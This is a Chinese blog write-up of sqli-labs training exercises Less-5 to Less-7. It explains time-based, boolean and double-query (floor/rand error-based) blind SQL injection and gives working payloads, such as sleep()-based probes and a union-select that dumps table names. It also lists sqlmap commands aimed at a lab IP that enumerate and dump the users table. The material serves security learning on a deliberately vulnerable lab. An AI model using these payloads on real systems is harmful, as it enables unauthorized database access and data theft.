Sqli-labs3

sql盲注

利用version函数,爆出数据库版本

image-20220128165025101.png

left(string, n) 截取string字符串的左边n个字符

image-20220128165716365.png

mid(string, start, length) 截取字符串从start开始长度为length的字符串(length可选,无时截到最后)

substr(string, start,length) 同上

image-20220128175640345

可以在外面再包裹上一层ascii函数,化成数值(或者ord)

image-20220128175846655.png

ascii值为115对应s

Less-5 双注入GET单引号字符型注入

GET-Double injection-Single Quotes-String

法一 时间延迟型注入

正确会延迟,错误无延迟

  1.    /Less-5/?id=1' and sleep(5)--+

    延迟明显说明是单引号字符型注入

  2. 爆库长

/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+


延迟说明库名长为8
3. 爆库名

?id=1' and if(left(database(),1)='s',sleep(5),1)--+


最终得security
4. 爆表、列名

可以直接指定limit来查询是否存在user、password之类的列

以上这种工作十分麻烦 交给sqlmap(一个python脚本)来做

补充sqlmap

* sqlmap -u "http://192.168.7.111/Less-5/?id=1"     查询是否存在注入
* sqlmap -u "http://192.168.7.111/Less-5/?id=1" -current-db  查询当前数据库名
* sqlmap -u "http://192.168.7.111/Less-5/?id=1" -D "security" --tables 查询当前数据库中所有表
* sqlmap -u "http://192.168.7.111/Less-5/?id=1" -D "security" -T "users" --columns 查询指定库中指定表的所有列(字段)
* sqlmap -u "http://192.168.7.111/Less-5/?id=1" -D "security" -T "users" -C "username" --dump 打印指定列中所有字段内容

### 法二 布尔型注入

正确会回显,错误没有回显

手工注入可以采用二分法,逐字爆破,其他都差不多

相当于报错注入,这里有特别多方法,网上给了各种但都需要深入了解各种mysql数据类型和函数机制

### 法三 双注入

利用聚合函数进行查询,会在错误信息中显示一部分错误信息

#### 双注入原理

真tm爽,在网上找了好多解释原理都解释不清,这个https://mochazz.github.io/2017/09/23/Double_%20SQL_Injection/#0x01-%E5%8F%8C%E6%9F%A5%E8%AF%A2一下子解释清了,还特别生动

floor()    向下取整

rand()    产生一个0-1的随机数    rand(0)会产生一个固定随机次序(即每次rand(0)产生序列相同)

这样group by floor(rand(0)*2)就可以依据产生0或1来分组

![image-20220128200442211.png](http://xherlock.top/usr/uploads/2022/01/1152098191.png)

记住这个序列,在后面很有用

下面我们加入concat和group by

![image-20220128213015194.png](http://xherlock.top/usr/uploads/2022/01/3929809199.png)

可以看到只有两个分组,对应前面只有0和1,接着我们添加count(*),这里很关键,因为在计算数目时,我们先查询要插入键的是否已存在,若已存在,直接在对应的键值处count+1;若不存在,则需要插入,此时插入时,由于插入的是含rand的数据(随机),所要插入的值有可能发生变化,比如以上面的01序列为例

首先查询发现第一个是0,向虚拟表(作为查询表)插入时,又rand一次,实际插入为1,count(1)=1;接着再次查询,是1,此时虚拟表中已存在1,所以count(1)=2;最后查询是0,虚拟表中不存在0,需要插入,插入的时候又rand了,实际插入成了1,但是这里已经存在为1的键了,矛盾,报错!!!(warning:这里可以看出来必须要有至少3行数据才可以报错,抽屉原理~哈哈哈)

就出现了下面的情况:

![image-20220128213853668.png](http://xherlock.top/usr/uploads/2022/01/1928707193.png)

我们可以看到我们所要查询的信息随着报错信息被泄露了,这里database()即可换为我们任何想要查询的信息,比如

![image-20220128214436946.png](http://xherlock.top/usr/uploads/2022/01/3728691447.png)

payload:

?id=1' union select 1,count(),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),'~',floor(rand(0)2)) as a from information_schema.tables group by a--+


可以看到爆出了当前数据库所有的表名,下面就可以如法炮制(只需改变concat里第一个参数)

这个法最简单,但最不好理解

## Less-6 双注入GET双引号字符型注入

GET-Double Injection-Double Quotes-String

换成双引号即可

## Less-7 导出文件GET字符型注入

GET-Dump into outfile-String

先自己观察了一波发现源码中同5、6不同的地方在于

![image-20220128223859495.png](http://xherlock.top/usr/uploads/2022/01/775237471.png)

原来可以输出报错信息的代码被注释掉了,同时也无法利用时间延迟注入

明天接着写!

小结:

* 在sqlmap、less-5中的时间延迟、盲注、报错注入上花了很长时间,也了解到了不少知识
* 今天效率很低,明天得注意了
最后修改:2022 年 01 月 28 日
如果觉得我的文章对你有用,请随意赞赏